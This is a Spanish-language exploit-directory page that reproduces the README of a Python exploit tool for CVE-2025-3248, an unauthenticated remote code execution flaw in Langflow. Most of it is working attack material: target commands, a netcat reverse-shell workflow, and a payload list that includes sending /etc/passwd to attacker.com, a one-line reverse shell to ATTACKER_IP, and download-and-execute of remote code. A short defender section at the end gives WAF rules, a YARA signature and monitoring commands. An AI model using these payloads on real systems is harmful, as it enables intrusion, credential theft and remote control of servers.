Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2025-3248-exploit — Un framework integral de explotación en Python para probar y demostrar CVE-2025-3248, una vulnerabilidad crítica de ejecución remota de código sin autenticación en versiones de Langflow ≤ 1.3.0. | Kitploit
Herramientas/GitHubGitHub/drackyjr/cve-2025-3248-exploit
Escáneres de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPost-ExplotaciónPruebas de PenetraciónComando y Control
Aprendizaje y Educación
Red Teaming
Desarrollo de Payloads
GitHubdrackyjr/cve-2025-3248-exploit

cve-2025-3248-exploit

Un framework integral de explotación en Python para probar y demostrar CVE-2025-3248, una vulnerabilidad crítica de ejecución remota de código sin autenticación en versiones de Langflow ≤ 1.3.0.

Ver Repositorio
39hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-3248: Escáner de Vulnerabilidad RCE No Autenticada en Langflow

License Python Status CVSS EPSS

Un framework integral de explotación en Python para probar y demostrar CVE-2025-3248, una vulnerabilidad crítica de ejecución remota de código no autenticada en versiones de Langflow ≤ 1.3.0.


🔴 Resumen de la Vulnerabilidad

CVE-2025-3248: Inyección de Código RCE en Langflow

PropiedadValor
CVE IDCVE-2025-3248
ProductoLangflow
Versiones Afectadas≤ 1.3.0
Tipo de VulnerabilidadEjecución Remota de Código (RCE) No Autenticada
Vector de AtaqueRed
Autenticación RequeridaNinguna
Puntuación CVSS9.8 (Crítica)
Puntuación EPSS92.57%
CWECWE-94 (Control Inadecuado de la Generación de Código)
Endpoint Vulnerable/api/v1/validate/code

Causa Raíz

La vulnerabilidad se encuentra en el endpoint de API /api/v1/validate/code, que acepta código Python arbitrario y lo valida mediante la insegura función exec() de Python, sin la sanitización de entradas ni el sandboxing adecuados. La vulnerabilidad explota el comportamiento de Python en el que:

  1. Los decoradores se evalúan inmediatamente durante la definición de la función
  2. Los valores de argumentos por defecto se ejecutan durante el análisis del Árbol de Sintaxis Abstracta (AST)
  3. No existe validación de entradas que impida la ejecución de código malicioso

Cadena de Ataque

Attacker → POST /api/v1/validate/code → Python exec() → RCE
     ↓
   No Auth Required
     ↓
   Arbitrary Python Code
     ↓
   System Command Execution

✨ Características

  • ✅ Detección de Endpoints: Identifica automáticamente instancias vulnerables de Langflow
  • ✅ Pruebas en Múltiples Etapas: 4 pruebas progresivas de vulnerabilidad
  • ✅ Ejecución de Comandos: Ejecuta comandos arbitrarios del sistema en el objetivo
  • ✅ Extracción de Variables de Entorno: Recupera variables de entorno y configuración
  • ✅ Operaciones de Archivos: Prueba las capacidades de lectura/escritura de archivos
  • ✅ Soporte de Reverse Shell: Abre sesiones interactivas de reverse shell
  • ✅ Detección de Versión: Identifica la información de versión de Langflow
  • ✅ Salida con Códigos de Color: Legibilidad mejorada con colores de terminal
  • ✅ Gestión de Timeouts: Timeouts de petición configurables
  • ✅ Omisión de SSL/TLS: Soporte para certificados autofirmados

📦 Requisitos

Python >= 3.7
requests >= 2.25.0

Instalar Dependencias

pip install requests

Opcional (para un mejor registro)

pip install colorama  # For Windows color support

🚀 Instalación

Método 1: Clonar desde GitHub

git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py

📖 Uso

Sintaxis Básica

python3 cve_2025_3248_test.py -t <target_url> [options]

Ejemplos de Inicio Rápido

1. Escaneo Básico de Vulnerabilidad

python3 cve_2025_3248_test.py -t http://target.com

2. Ejecutar un Comando Personalizado

python3 cve_2025_3248_test.py -t http://target.com -c "whoami"

3. Ejecutar Múltiples Comandos

python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"

4. Explotación con Reverse Shell (Solo Pruebas Autorizadas)

Paso 1: Inicia un listener de netcat en tu máquina

nc -lvnp 4444

Paso 2: Ejecuta el exploit

python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444

Ejemplo:

python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444

5. Escaneo con Timeout Personalizado

python3 cve_2025_3248_test.py -t http://target.com --timeout 30

Argumentos de Línea de Comandos

positional arguments:
  None

optional arguments:
  -t, --target TARGET       Target URL (e.g., http://target.com) [REQUIRED]
  -c, --command COMMAND     Command to execute (default: id)
  --timeout TIMEOUT         Request timeout in seconds (default: 10)
  --exploit                 Enable exploitation mode (reverse shell)
  --lhost LHOST            Your IP address for reverse shell
  --lport LPORT            Your port for reverse shell
  -h, --help               Show this help message

💾 Variaciones de Payloads

1. Ejecución Basada en Decoradores

payload = {
    "code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
    pass
"""
}

2. Ejecución de Argumentos por Defecto

payload = {
    "code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
    pass
"""
}

3. Exfiltración de Datos

payload = {
    "code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
    pass
"""
}

4. Reverse Shell (En Una Línea)

payload = {
    "code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
    pass
"""
}

5. Operaciones de Lectura de Archivos

payload = {
    "code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
    pass
"""
}

6. Enumeración de Variables de Entorno

payload = {
    "code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
    pass
"""
}

7. Descargar y Ejecutar

payload = {
    "code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
    pass
"""
}

🔍 Detección y Mitigación

Para Defensores

Acciones Inmediatas

  1. Actualizar Langflow

    pip install langflow>=1.3.0
    # or
    docker pull langflow:latest
    
  2. Restringir el Acceso a la Red

    # Nginx reverse proxy - block vulnerable endpoint
    location /api/v1/validate/code {
        deny all;
    }
    
  3. Implementar Autenticación

    # Add authentication middleware
    @app.middleware("http")
    async def auth_middleware(request, call_next):
        if "/api/v1/validate/code" in request.url.path:
            if not verify_auth(request):
                return JSONResponse(status_code=401)
        return await call_next(request)
    

Reglas WAF

Regla de ModSecurity:

SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"

Reglas de Detección

Firma YARA:

rule CVE_2025_3248_Langflow_RCE {
    strings:
        $api_path = "/api/v1/validate/code"
        $exec = "exec("
        $subprocess = "subprocess"
        $os_system = "os.system"
    condition:
        $api_path and any of ($exec, $subprocess, $os_system)
}

Monitoreo y Registro

# Monitor for suspicious requests
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"

# Alert on POST requests to vulnerable endpoint
auditctl -w /var/lib/langflow -p wa -k langflow_changes

Indicadores de Compromiso (IoCs)

Descargar herramienta